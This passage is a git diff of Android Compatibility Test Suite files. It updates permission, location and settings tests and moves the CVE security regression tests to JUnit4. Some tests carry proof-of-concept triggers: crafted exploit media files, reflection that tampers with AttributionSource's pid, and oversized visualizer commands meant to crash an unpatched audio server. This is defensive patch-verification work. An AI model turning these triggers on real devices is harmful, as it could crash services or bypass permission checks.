+ }
}
diff --git a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
index b5374891314..5ebe92c51ae 100644
--- a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
+++ b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
@@ -39,8 +39,8 @@ public final class UserfaultfdTest {
@Before
public void setUp() {
boolean mShouldRunTest = !(FeatureUtil.isAutomotive()
- && ApiLevelUtil.isAtMost(VERSION_CODES.S));
- Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S", mShouldRunTest);
+ && ApiLevelUtil.isAtMost(VERSION_CODES.S_V2));
+ Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S_V2", mShouldRunTest);
Assume.assumeTrue("Skip userfaultfd tests on kernels lower than 5.4", confirmKernelVersion());
}
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index 4117a78a5f2..d6ce2e19f4f 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -435,11 +435,6 @@
android:label="@string/car_permission_label_collect_car_watchdog_metrics"
android:description="@string/car_permission_desc_collect_car_watchdog_metrics"/>
- <permission android:name="android.car.permission.USE_CAR_TELEMETRY_SERVICE"
- android:protectionLevel="signature|privileged"
- android:label="@string/car_permission_label_use_telemetry_service"
- android:description="@string/car_permission_desc_use_telemetry_service"/>
-
<permission android:name="android.car.permission.CONTROL_CAR_EVS_ACTIVITY"
android:protectionLevel="signature|privileged"
android:label="@string/car_permission_label_control_evs_activity"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 35ed018e9a7..3b20f6d4229 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -67,6 +67,9 @@ public class PermissionPolicyTest {
private static final String MANAGE_COMPANION_DEVICES_PERMISSION
= "android.permission.MANAGE_COMPANION_DEVICES";
+ private static final String ALLOW_SLIPPERY_TOUCHES_PERMISSION
+ = "android.permission.ALLOW_SLIPPERY_TOUCHES";
+
private static final String LOG_TAG = "PermissionProtectionTest";
private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -441,6 +444,9 @@ public class PermissionPolicyTest {
return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
case MANAGE_COMPANION_DEVICES_PERMISSION:
return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
+ case ALLOW_SLIPPERY_TOUCHES_PERMISSION:
+ // In R and S branches, skip this permission
+ return true;
default:
return false;
}
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt
index 3cef5471316..c3b2bb53bea 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt
@@ -26,8 +26,10 @@ import android.bluetooth.cts.BTAdapterUtils
import android.content.Intent
import android.content.pm.PackageManager
import android.content.pm.PackageManager.FLAG_PERMISSION_REVOKED_COMPAT
+import android.location.LocationManager
import android.os.Build
import android.os.Process
+import android.os.UserHandle
import androidx.test.InstrumentationRegistry
import androidx.test.filters.SdkSuppress
import com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow
@@ -53,6 +55,8 @@ class PermissionTest30WithBluetooth : BaseUsePermissionTest() {
"android.permission3.cts.usepermission"
private lateinit var bluetoothAdapter: BluetoothAdapter
private var bluetoothAdapterWasEnabled: Boolean = false
+ private val locationManager = context.getSystemService(LocationManager::class.java)!!
+ private var locationWasEnabled: Boolean = false
private enum class BluetoothScanResult {
UNKNOWN, ERROR, EXCEPTION, EMPTY, FILTERED, FULL
@@ -78,6 +82,28 @@ class PermissionTest30WithBluetooth : BaseUsePermissionTest() {
enableTestMode()
}
+ @Before
+ fun enableLocation() {
+ val userHandle: UserHandle = Process.myUserHandle()
+ locationWasEnabled = locationManager.isLocationEnabledForUser(userHandle)
+ if (!locationWasEnabled) {
+ runWithShellPermissionIdentity {
+ locationManager.setLocationEnabledForUser(true, userHandle)
+ }
+ }
+ }
+
+ @After
+ fun disableLocation() {
+ val userHandle: UserHandle = Process.myUserHandle()
+
+ if (!locationWasEnabled) {
+ runWithShellPermissionIdentity {
+ locationManager.setLocationEnabledForUser(false, userHandle)
+ }
+ }
+ }
+
@After
fun disableBluetooth() {
assumeTrue(supportsBluetooth())
@@ -91,6 +117,9 @@ class PermissionTest30WithBluetooth : BaseUsePermissionTest() {
@Test
fun testGivenBluetoothIsDeniedWhenScanIsAttemptedThenThenGetEmptyScanResult() {
+ assertTrue("Please enable location to run this test. Bluetooth scanning " +
+ "requires location to be enabled.", locationManager.isLocationEnabled())
+
assertBluetoothRevokedCompatState(revoked = false)
// Should return empty while the app does not have location
assertEquals(BluetoothScanResult.EMPTY, scanForBluetoothDevices())
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 97dfd377517..9edd6ccc0a0 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -50,10 +50,8 @@ public class SettingsPanelTest {
private static final int TIMEOUT = 8000;
private static final String RESOURCE_DONE = "done";
- private static final String RESOURCE_INTERNET_DIALOG_DONE = "done_button";
private static final String RESOURCE_SEE_MORE = "see_more";
private static final String RESOURCE_TITLE = "panel_title";
- private static final String SYSTEMUI_PACKAGE_NAME = "com.android.systemui";
private String mSettingsPackage;
private String mLauncherPackage;
@@ -98,15 +96,6 @@ public class SettingsPanelTest {
// Check correct package is opened
@Test
- public void internetDialog_correctPackage() {
- launchInternetDialog();
-
- String currentPackage = mDevice.getCurrentPackageName();
-
- assertThat(currentPackage).isEqualTo(SYSTEMUI_PACKAGE_NAME);
- }
-
- @Test
public void volumePanel_correctPackage() {
assumeTrue(mHasTouchScreen);
launchVolumePanel();
@@ -135,28 +124,6 @@ public class SettingsPanelTest {
}
@Test
- public void internetDialog_doneClosesDialog() {
- assumeTrue(mHasTouchScreen);
- // Launch panel
- launchInternetDialog();
- String currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isEqualTo(SYSTEMUI_PACKAGE_NAME);
-
- // Click the done button
- if (mHasTouchScreen) {
- mDevice.findObject(
- By.res(SYSTEMUI_PACKAGE_NAME, RESOURCE_INTERNET_DIALOG_DONE)).click();
- mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
- } else {
- mDevice.pressBack();
- }
-
- // Assert that we have left the panel
- currentPackage = mDevice.getCurrentPackageName();
- assertThat(currentPackage).isNotEqualTo(SYSTEMUI_PACKAGE_NAME);
- }
-
- @Test
public void volumePanel_doneClosesPanel() {
assumeTrue(mHasTouchScreen);
// Launch panel
@@ -257,21 +224,6 @@ public class SettingsPanelTest {
launchPanel(Settings.Panel.ACTION_VOLUME);
}
- private void launchInternetDialog() {
- // Start from the home screen
- mDevice.pressHome();
- mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-
- Intent intent = new Intent(Settings.Panel.ACTION_INTERNET_CONNECTIVITY);
- intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND)
- .setPackage(SYSTEMUI_PACKAGE_NAME);
-
- mContext.sendBroadcast(intent);
-
- // Wait for the app to appear
- mDevice.wait(Until.hasObject(By.pkg(SYSTEMUI_PACKAGE_NAME).depth(0)), TIMEOUT);
- }
-
private void launchNfcPanel() {
assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_NFC));
launchPanel(Settings.Panel.ACTION_NFC);
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 5838d27729b..b82b188f2b1 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -33,6 +33,7 @@ android_test {
"compatibility-common-util-devicesidelib",
"guava",
"platform-test-annotations",
+ "sts-device-util",
"hamcrest-library",
],
libs: [
@@ -60,6 +61,7 @@ android_test {
"src/**/*.java",
"src/**/*.kt",
"src/android/security/cts/activity/ISecureRandomService.aidl",
+ "aidl/android/security/cts/IBitmapService.aidl",
"aidl/android/security/cts/IIsolatedService.aidl",
"aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl",
],
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 17aa9e8f345..e43d6aa0750 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -48,6 +48,10 @@
<service android:name="android.security.cts.activity.SecureRandomService"
android:process=":secureRandom"/>
+
+ <service android:name="android.security.cts.BitmapService"
+ android:process=":bitmap_service" />
+
<activity android:name="android.security.cts.MotionEventTestActivity"
android:label="Test MotionEvent"
android:exported="true">
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
new file mode 100644
index 00000000000..b9694c32af7
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+parcelable BitmapWrapper;
+
+interface IBitmapService {
+ int getAllocationSize(in BitmapWrapper bitmap);
+ boolean didReceiveBitmap(in BitmapWrapper bitmap);
+ boolean ping();
+}
diff --git a/tests/tests/security/res/raw/cve_2020_11135.mp4 b/tests/tests/security/res/raw/cve_2020_11135.mp4
new file mode 100644
index 00000000000..55b6955d492
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11135.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 9480251f37c..f16b8fb2111 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,26 +15,30 @@
*/
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.app.ActivityManager;
import android.app.ApplicationExitInfo;
import android.content.Context;
import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import junit.framework.TestCase;
import java.lang.reflect.InvocationTargetException;
-public class ActivityManagerTest extends TestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- }
+@RunWith(AndroidJUnit4.class)
+public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 19394591)
+ @Test
public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
try {
/*
@@ -53,6 +57,7 @@ public class ActivityManagerTest extends TestCase {
// b/144285917
@AsbSecurityTest(cveBugId = 144285917)
+ @Test
public void testActivityManager_attachNullApplication() {
SecurityException securityException = null;
Exception unexpectedException = null;
@@ -81,6 +86,7 @@ public class ActivityManagerTest extends TestCase {
// b/166667403
@AsbSecurityTest(cveBugId = 166667403)
+ @Test
public void testActivityManager_appExitReasonPackageNames() {
final String mockPackage = "com.foo.bar";
final String realPackage = "com.android.compatibility.common.deviceinfo";
diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
index 5d297c6a9b2..fca75a22425 100644
--- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
@@ -19,21 +19,28 @@ package android.security.cts;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
import java.io.InputStream;
import android.security.cts.R;
-public class AllocatePixelRefIntOverflowTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AllocatePixelRefIntOverflowTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device is not vulnerable to ANDROID-19270126: Android
* BitmapFactory.decodeStream JPG allocPixelRef integer overflow
*/
@AsbSecurityTest(cveBugId = 19394591)
+ @Test
public void testAllocateJavaPixelRefIntOverflow() {
- InputStream exploitImage = mContext.getResources().openRawResource(
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(
R.raw.cve_2015_1531_b_19270126);
/**
* The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index 73536e35b0f..397c0129661 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -16,7 +16,7 @@
package android.security.cts;
-import android.test.AndroidTestCase;
+import static org.junit.Assert.fail;
import android.app.Activity;
import android.os.BaseBundle;
@@ -27,21 +27,29 @@ import android.view.AbsSavedState;
import android.view.View;
import android.view.View.BaseSavedState;
import android.annotation.SuppressLint;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Random;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
import android.security.cts.R;
import android.platform.test.annotations.AsbSecurityTest;
-public class AmbiguousBundlesTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AmbiguousBundlesTest extends StsExtraBusinessLogicTestCase {
/**
* b/140417434
* Vulnerability Behaviour: Failure via Exception
*/
@AsbSecurityTest(cveBugId = 140417434)
+ @Test
public void test_android_CVE_2020_0082() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -180,6 +188,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase {
* b/71992105
*/
@AsbSecurityTest(cveBugId = 71992105)
+ @Test
public void test_android_CVE_2017_13310() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -270,6 +279,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase {
* b/71508348
*/
@AsbSecurityTest(cveBugId = 71508348)
+ @Test
public void test_android_CVE_2018_9339() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -373,6 +383,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase {
* b/62998805
*/
@AsbSecurityTest(cveBugId = 62998805)
+ @Test
public void test_android_CVE_2017_0806() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
@@ -436,6 +447,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase {
* b/73252178
*/
@AsbSecurityTest(cveBugId = 73252178)
+ @Test
public void test_android_CVE_2017_13311() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
@@ -530,6 +542,7 @@ public class AmbiguousBundlesTest extends AndroidTestCase {
* b/71714464
*/
@AsbSecurityTest(cveBugId = 71714464)
+ @Test
public void test_android_CVE_2017_13287() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
diff --git a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
index 7b26ff0cee8..ca85b651cc6 100644
--- a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
+++ b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
@@ -25,6 +25,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.core.app.ApplicationProvider;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import static org.junit.Assert.assertFalse;
import org.junit.Test;
@@ -34,9 +35,9 @@ import java.io.File;
import java.lang.reflect.Field;
@RunWith(AndroidJUnit4.class)
-public class AndroidFutureTest {
+public class AndroidFutureTest extends StsExtraBusinessLogicTestCase {
- @AsbSecurityTest(cveBugId = 186530450)
+ @AsbSecurityTest(cveBugId = 197228210)
@Test
public void testAndroidFutureReadThrowable() throws Exception {
String filePath = "/data/system/" + System.currentTimeMillis();
diff --git a/tests/tests/security/src/android/security/cts/AssetManagerTest.java b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
index 10e1c2098c3..684fa6f4d02 100644
--- a/tests/tests/security/src/android/security/cts/AssetManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
@@ -19,13 +19,19 @@ package android.security.cts;
import android.content.res.AssetManager;
import android.content.res.XmlResourceParser;
import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-public class AssetManagerTest extends CtsAndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class AssetManagerTest extends StsExtraBusinessLogicTestCase {
// b/144028297
@AsbSecurityTest(cveBugId = 144028297)
+ @Test
public void testCloseThenFinalize() throws Exception {
final XmlResourceParser[] parser = {null};
final AssetManager[] assetManager = {AssetManager.class.newInstance()};
diff --git a/tests/tests/security/src/android/security/cts/AttributionSourceTest.java b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
new file mode 100644
index 00000000000..e36fa49b3eb
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertThrows;
+
+import java.lang.reflect.Field;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.AttributionSource;
+import android.content.Context;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.runner.AndroidJUnit4;
+
+@RunWith(AndroidJUnit4.class)
+public class AttributionSourceTest {
+
+ @AsbSecurityTest(cveBugId = 200288596)
+ @Test
+ public void testPidCheck() throws Exception {
+ Context context = ApplicationProvider.getApplicationContext();
+ AttributionSource attributionSource =
+ new AttributionSource(
+ (AttributionSource)
+ Context.class.getMethod("getAttributionSource").invoke(context),
+ null);
+
+ Field attSourceStateField =
+ attributionSource.getClass().getDeclaredField("mAttributionSourceState");
+ attSourceStateField.setAccessible(true);
+
+ Object attSourceState = attSourceStateField.get(attributionSource);
+ attSourceState.getClass().getField("pid").setInt(attSourceState, 0);
+ final AttributionSource attributionSourceFinal = attributionSource;
+ assertThrows(SecurityException.class, () -> attributionSourceFinal.enforceCallingPid());
+ }
+}
+
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 1e1878deae3..4c8fec8a423 100644
--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -23,14 +23,20 @@ import android.media.audiofx.Equalizer;
import android.platform.test.annotations.AsbSecurityTest;
import android.util.Log;
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import static org.junit.Assert.*;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.Arrays;
import java.util.UUID;
-public class AudioSecurityTest extends CtsAndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AudioSecurityTest extends StsExtraBusinessLogicTestCase {
private static final String TAG = "AudioSecurityTest";
private static final int ERROR_DEAD_OBJECT = -7; // AudioEffect.ERROR_DEAD_OBJECT
@@ -58,30 +64,33 @@ public class AudioSecurityTest extends CtsAndroidTestCase {
private static void testAllEffects(String testName, TestEffect testEffect) throws Exception {
int failures = 0;
- for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
- final AudioEffect audioEffect;
- try {
- audioEffect = (AudioEffect)AudioEffect.class.getConstructor(
- UUID.class, UUID.class, int.class, int.class).newInstance(
- descriptor.type,
- descriptor.uuid, // uuid overrides type
- 0 /* priority */, 0 /* audioSession */);
- } catch (Exception e) {
- Log.w(TAG, "effect " + testName + " " + descriptor.name
- + " cannot be created (ignoring)");
- continue; // OK;
- }
- try {
- testEffect.test(audioEffect);
- Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
- } catch (Exception e) {
- Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
- e);
- ++failures;
- } catch (AssertionError e) {
- Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
- e);
- ++failures;
+ AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+ if (descriptors != null) {
+ for (AudioEffect.Descriptor descriptor : descriptors) {
+ final AudioEffect audioEffect;
+ try {
+ audioEffect = (AudioEffect)AudioEffect.class.getConstructor(
+ UUID.class, UUID.class, int.class, int.class).newInstance(
+ descriptor.type,
+ descriptor.uuid, // uuid overrides type
+ 0 /* priority */, 0 /* audioSession */);
+ } catch (Exception e) {
+ Log.w(TAG, "effect " + testName + " " + descriptor.name
+ + " cannot be created (ignoring)");
+ continue; // OK;
+ }
+ try {
+ testEffect.test(audioEffect);
+ Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
+ } catch (Exception e) {
+ Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
+ e);
+ ++failures;
+ } catch (AssertionError e) {
+ Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
+ e);
+ ++failures;
+ }
}
}
assertEquals("found " + testName + " " + failures + " failures",
@@ -90,6 +99,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase {
// b/28173666
@AsbSecurityTest(cveBugId = 28173666)
+ @Test
public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception {
testAllEffects("get parameter attempt offload",
new TestEffect() {
@@ -104,6 +114,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase {
// b/32624850
// b/32635664
@AsbSecurityTest(cveBugId = 32438594)
+ @Test
public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception {
testAllEffects("get parameter2 attempt offload",
new TestEffect() {
@@ -116,6 +127,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase {
// b/30204301
@AsbSecurityTest(cveBugId = 30204301)
+ @Test
public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception {
testAllEffects("set parameter attempt offload",
new TestEffect() {
@@ -128,6 +140,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase {
// b/37536407
@AsbSecurityTest(cveBugId = 32448258)
+ @Test
public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
testAllEffects("equalizer get parameter name",
new TestEffect() {
@@ -355,6 +368,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase {
// b/31781965
@AsbSecurityTest(cveBugId = 31781965)
+ @Test
public void testVisualizerCapture_CVE_2017_0396() throws Exception {
// Capture params
final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV.
@@ -371,89 +385,93 @@ public class AudioSecurityTest extends CtsAndroidTestCase {
final int bufferSize = bufferSamples * 2; // bytes per sample for 16 bits
final short data[] = new short[bufferSamples]; // zero data
- for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
- if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) {
- continue;
- }
-
- AudioEffect audioEffect = null;
- AudioTrack audioTrack = null;
-
- try {
- // create track and play
- {
- audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate,
- AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize,
- AudioTrack.MODE_STATIC);
- assertEquals("Cannot write to audio track",
- bufferSamples,
- audioTrack.write(data, 0 /* offsetInBytes */, data.length));
- assertEquals("AudioTrack not initialized",
- AudioTrack.STATE_INITIALIZED,
- audioTrack.getState());
- assertEquals("Cannot set loop points",
- android.media.AudioTrack.SUCCESS,
- audioTrack.setLoopPoints(0 /* startInFrames */, bufferFrames, loops));
- audioTrack.play();
+ AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+ if (descriptors != null) {
+ for (AudioEffect.Descriptor descriptor : descriptors) {
+ if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) {
+ continue;
}
- // wait for track to really begin playing
- Thread.sleep(200 /* millis */);
-
- // create effect
- {
- audioEffect = (AudioEffect) AudioEffect.class.getConstructor(
- UUID.class, UUID.class, int.class, int.class).newInstance(
- descriptor.type, descriptor.uuid, 0 /* priority */,
- audioTrack.getAudioSessionId());
- }
-
- // set capture size
- {
- byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
- .order(ByteOrder.nativeOrder())
- .putInt(0) // status (unused)
- .putInt(4) // psize (sizeof(param))
- .putInt(4) // vsize (sizeof(value))
- .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param)
- .putInt(CAPTURE_SIZE) // data[4] (value)
- .array();
-
- Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
- "command", int.class, byte[].class, byte[].class).invoke(
- audioEffect,
- EFFECT_CMD_SET_PARAM,
- command, new byte[4] /* reply */);
- Log.d(TAG, "setparam returns " + ret);
- assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
- }
-
- // enable effect
- {
- final int ret = audioEffect.setEnabled(true);
- assertEquals("Cannot enable audio effect", 0 /* expected */, ret);
- }
-
- // wait for track audio data to be processed, otherwise capture
- // will not really return audio data.
- Thread.sleep(200 /* millis */);
-
- // capture data
- {
- Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
- "command", int.class, byte[].class, byte[].class).invoke(
- audioEffect,
- VISUALIZER_CMD_CAPTURE,
- new byte[0] /* command */, captureBuf /* reply */);
- Log.d(TAG, "capture returns " + ret);
- assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
- }
- } finally {
- if (audioEffect != null) {
- audioEffect.release();
- }
- if (audioTrack != null) {
- audioTrack.release();
+ AudioEffect audioEffect = null;
+ AudioTrack audioTrack = null;
+
+ try {
+ // create track and play
+ {
+ audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate,
+ AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize,
+ AudioTrack.MODE_STATIC);
+ assertEquals("Cannot write to audio track",
+ bufferSamples,
+ audioTrack.write(data, 0 /* offsetInBytes */, data.length));
+ assertEquals("AudioTrack not initialized",
+ AudioTrack.STATE_INITIALIZED,
+ audioTrack.getState());
+ assertEquals("Cannot set loop points",
+ android.media.AudioTrack.SUCCESS,
+ audioTrack.setLoopPoints(
+ 0 /* startInFrames */, bufferFrames, loops));
+ audioTrack.play();
+ }
+
+ // wait for track to really begin playing
+ Thread.sleep(200 /* millis */);
+
+ // create effect
+ {
+ audioEffect = (AudioEffect) AudioEffect.class.getConstructor(
+ UUID.class, UUID.class, int.class, int.class).newInstance(
+ descriptor.type, descriptor.uuid, 0 /* priority */,
+ audioTrack.getAudioSessionId());
+ }
+
+ // set capture size
+ {
+ byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
+ .order(ByteOrder.nativeOrder())
+ .putInt(0) // status (unused)
+ .putInt(4) // psize (sizeof(param))
+ .putInt(4) // vsize (sizeof(value))
+ .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param)
+ .putInt(CAPTURE_SIZE) // data[4] (value)
+ .array();
+
+ Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+ "command", int.class, byte[].class, byte[].class).invoke(
+ audioEffect,
+ EFFECT_CMD_SET_PARAM,
+ command, new byte[4] /* reply */);
+ Log.d(TAG, "setparam returns " + ret);
+ assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+ }
+
+ // enable effect
+ {
+ final int ret = audioEffect.setEnabled(true);
+ assertEquals("Cannot enable audio effect", 0 /* expected */, ret);
+ }
+
+ // wait for track audio data to be processed, otherwise capture
+ // will not really return audio data.
+ Thread.sleep(200 /* millis */);
+
+ // capture data
+ {
